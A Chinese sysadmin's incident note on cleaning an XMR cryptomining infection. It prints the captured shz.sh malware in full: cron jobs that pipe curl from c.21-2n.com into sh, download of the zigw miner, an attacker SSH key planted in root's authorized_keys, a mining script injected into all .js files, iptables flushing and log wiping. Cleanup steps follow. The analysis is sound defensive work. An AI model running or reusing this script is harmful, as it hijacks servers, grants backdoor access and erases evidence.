XMR恶意挖矿脚本处理笔记
一、登录
攻击者如何登录系统未能查出,所有日志已被清除。为防万一,把系统中没用的用户都删掉并修改其他用户密码。
二、被攻击后的表象
1、服务器资源被大量占用,资源占用率飙升;
2、服务器所有JS文件被篡改,向输出页面增加了一个script标签(document.write('<script src="http://t.cn/EvlonFh"></script><script>OMINEId("e02cf4ce91284dab9bc3fc4cc2a65e28","-1")</script>');)
3、网站无法加载,会出现浏览器卡死的情况
三、排查
1、访问服务器上运行的网站,从浏览器控制台中发现不停访问一个wss的地址(wss://xmr.omine.org:8181/),并且很慢。
2、通过百度搜索这个地址,可知此为XMR恶意挖矿脚本。
3、远程登录服务器,输入top命令,发现有zigw进程在运行,消耗大量资源,kill掉以后还会出现。
4、查看系统任务计划,发现定期同步恶意脚本的计划内容
# crontab -l
5、获取其样本文件,然后删除其任务计划
# wget http://c.21-2n.com:43768/shz.sh
# crontab -r
6、查看该样本文件,是一个shell脚本,内容如下:
#!/bin/sh
setenforce >dev/null
echo SELINUX=desabled > /etc/sysconfig/selinux >/dev/null
sync && echo >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo > /etc/gmbpr2
rtdir="/etc/gmbpr2"
oddir="/etc/gmbpr"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/url"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/get"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/curl /usr/bin/url
if [ -f "$oddir" ]
then
pkill zjgw
chattr -i /etc/shz.sh
rm -f /etc/shz.sh
chattr -i /tmp/shz.sh
rm -f /tmp/shz.sh
chattr -i /etc/gmbpr
rm -f /etc/gmbpr
else
echo "ok"
fi
if [ -f "$rtdir" ]
then
echo "goto 1" >> /etc/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/15 * * * * url -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
fi
mkdir /root/.ssh
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo >> /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || chmod /root/.ssh/authorized_keys
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /etc
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/etc/zigw"
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /etc/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /etc/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/zigw
fi
fi
chmod zigw
sleep 1s
./zigw
else
echo "runing....."
fi
chmod /etc/zigw
chattr +i /etc/zigw
chmod /etc/shz.sh
chattr +i /etc/shz.sh
shdir='/etc/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /etc/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /etc http://c.21-2n.com:43768/shz.sh
fi
sh /etc/shz.sh
fi
else
echo "goto 1" > /tmp/gmbpr2
chattr -i $cont
if [ -f "$bbdir" ]
then
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * curl -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
else
[[ $cont =~ "shz.sh" ]] || echo "*/10 * * * * url -fsSL http://c.21-2n.com:43768:43768/shz.sh | sh" >> ${crondir}
fi
ps -fe|grep zigw |grep -v grep
if [ $? -ne ]
then
cd /tmp
filesize=`ls -l zigw | awk '{ print $5 }'`
file="/tmp/zigw"
if [ -f "$file" ]
then
if [ "$filesize" -ne "" ]
then
chattr -i /tmp/zigw
rm -f zigw
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
fi
fi
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/zigw > /tmp/zigw
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/zigw
fi
fi
chmod zigw
sleep 1s
./zigw
else
echo "runing....."
fi
chmod /tmp/zigw
chattr +i /tmp/zigw
chmod /tmp/shz.sh
chattr +i /tmp/shz.sh
shdir='/tmp/shz.sh'
if [ -f "$shdir" ]
then
echo "exists shell"
else
if [ -f "$bbdir" ]
then
curl --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
elif [ -f "$bbdira" ]
then
url --connect-timeout --retry http://c.21-2n.com:43768/shz.sh > /tmp/shz.sh
elif [ -f "$ccdir" ]
then
wget --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh
elif [ -f "$ccdira" ]
then
get --timeout= --tries= -P /tmp http://c.21-2n.com:43768/shz.sh
fi
sh /tmp/shz.sh
fi
fi
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables -A OUTPUT -p tcp --dport -j DROP
iptables-save
service iptables reload
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
netstat -ano|grep :|awk '{print $7}'|awk -F'[/]' '{print $1}'|xargs kill -
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
echo > /var/spool/mail/root
7、阅读脚本内容,发现可能会在/etc或/tmp下创建shz.sh和zigw文件,并设置了特殊权限,此次发现是在/etc中;同时会创建ssh免密登录的密钥。杀掉进程、修改权限并删除该文件。
# rm -rf ~/.ssh
#
# ps -aux | grep zigw
# kill - <进程号>
# ps -aux | grep shz
# kill - <进程号>
#
# chattr -i /etc/shz.sh /etc/zigw
# rm -f /etc/shz.sh /etc/zigw /etc/gmbpr2
8、查看任务计划的配置文件,并删除相应内容
# ls -alh /etc/cron.d/
# rm -f /etc/cron.d/root
9、恢复服务器中的js文件(其中grep的参数为小写的L)
# find / -name '*.js' | xargs grep -l f4ce9 | xargs sed -i '/f4ce9/d'
10、因此恶意脚本中删除了所有防火墙规则,影响到docker容器的网络功能,即容器中无法访问网络,导致其中运行的网站无法访问数据库,经过查阅资料和研究,认为需要重建docker网络,但累了一天,懒得弄了,正好系统更新中包含了docker,更新后恢复正常,得出结论:比较简单的解决方法就是更新或重装(好像重建docker网络也不难)。
比较有疑问的是,看了脚本中是用iptables操作的,但我的服务器中采用的是firewall,没想明白为何会产生影响。
XMR恶意挖矿脚本处理笔记的更多相关文章
- XMR恶意挖矿案例简析
前言 数字货币因其技术去中性化和经济价值等属性,逐渐成为大众关注的焦点,同时通过恶意挖矿获取数字货币是黑灰色产业获取收益的重要途径.本文简析通过蜜罐获取的XMR恶意挖矿事件:攻击者通过爆破SSH获取系 ...
- 网站被XMR恶意挖矿
发现: 网站首页被恶意更改 网站的关键词和描述被恶意更改 服务器和只要访问此服务器上的网页cup 直线上升100% 排查代码发现js 文件被恶意更改,访问了挖矿网站 操作:删除js 里面的恶意代码,更 ...
- Web应急:门罗币恶意挖矿
门罗币(Monero 或 XMR),它是一个非常注重于隐私.匿名性和不可跟踪的加密数字货币.只需在网页中配置好js脚本,打开网页就可以挖矿,是一种非常简单的挖矿方式,而通过这种恶意挖矿获取数字货币是黑 ...
- Kworkerd恶意挖矿分析
转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立 ...
- 高端黑链SEO—恶意JS脚本注入访问伪随机域名
摘要:我们的服务器又出入侵事故了.有客户的 html 网页底部被插入了一段 js 脚本,导致访客打开网页时被杀毒软件警告网站上有恶意代码.在黑链 SEO 中这是常见的手法,但奇特的地方就在于我们这次捕 ...
- shell 脚本实战笔记(11)--Mysql在linux下的安装和简单运维
前言: linux中安装mysql以及配置的管理, 基础的运维和管理还是需要会一些的. 这边作下笔记, 以求天天向上(^_^). 安装流程:*). 安装mysql-server1). 借助yum检索相 ...
- shell 脚本实战笔记(10)--spark集群脚本片段念念碎
前言: 通过对spark集群脚本的研读, 对一些重要的shell脚本技巧, 做下笔记. *). 取当前脚本的目录 sbin=`dirname "$0"` sbin=`cd &quo ...
- 阿里云服务器挖矿脚本bioset攻击解决
1.问题出现 一大早刚起床,阿里云就给我发了一条短信,提醒我服务器出现紧急安全事件:挖矿程序 阿里云“贴心”地提供了解决方法,不过需要购买企业版的安全服务,本着能自己动手就不花钱原则自己搞了起来 于是 ...
- loadrunner录制脚本方式笔记
1.脚本录制的基本原则 充分考虑脚本的执行效率 性能测试脚本关注的是如何模拟用户的真实行为.因此,用于测试的脚本应该接近用户的真正操作.这就要求录制后 的脚本在修改的过程中不要增加过多 ...
随机推荐
- kmp算法专题总结
next数组的含义:next[i]表示以字符串s的第i个字符为结尾的后缀与s前缀匹配的长度 next数组也可以当做fail数组,即当模式串s[j]与串t[i]不匹配时,只要将j转换到next[j]继续 ...
- python 全栈开发,Day10(动态参数,命名空间,作用域,函数嵌套)
一.动态参数 def func(a,b,c,d,e,f,g): pass func(1,2,3,4,5,6,7) 如果加30个参数呢?有没有万能的参数,可以代表一切参数呢? *args 动态参数,万能 ...
- div展现与收起效果(鼠标移入移出)
效果图: 移入: 移出: <!DOCTYPE html> <html lang="en"> <head> <meta charset=&q ...
- oracle <> 选不出为null的部分
比如 tablea 的 字段b 为空,则 select * from tablea where b <> 'Y' 则查不出b is null 的部分
- linux 中的./configuration --prefix=安装路径 的用法(指定源码安装方式的安装路基)
源码的安装一般由3个步骤组成:配置(configure).编译(make).安装(make install). Configure是一个可执行脚本,它有很多选项,在待安装的源码路径下使用命令./con ...
- Educational Codeforces Round 26-D. Round Subset
题目大意:给你n个数字(小于1e18),从n个数中取k个数字相乘,使其后缀0最多,问你后缀0最多是多少. 知道得用三维的dp[ i ] [ j ] [ k ] 第一维表示用到第 i 个数为止,j 表 ...
- php 代码中的箭头“ ->”是什么意思
类是一个复杂数据类型,这个类型的数据主要有属性.方法两种东西. 属性其实是一些变量,可以存放数据,存放的数据可以是整数.字符串,也可以是数组,甚至是类. 方法实际上是一些函数,用来完成某些功能. 引用 ...
- Jquery框架1.选择器|效果图|属性、文档操作
1.JavaScript和jquery的对比 书写繁琐,代码量大 代码复杂 动画效果,很难实现.使用定时器 各种操作和处理 <!DOCTYPE html> <html lang=&q ...
- 记录一个mysql的case when用法
SELECT wle.*, CASE WHEN '2017-08-10 14:00:00' > wle.et THEN '回看' WHEN wle.st >= '2017-08-10 14 ...
- webstorm 格式化代码及常用快捷键
mac 下 webstorm 格式化代码的快捷键 Option+Command+l windows 下 webstorm 格式化代码的快键键 Ctrl+Alt+l centOS 下webstorm 格 ...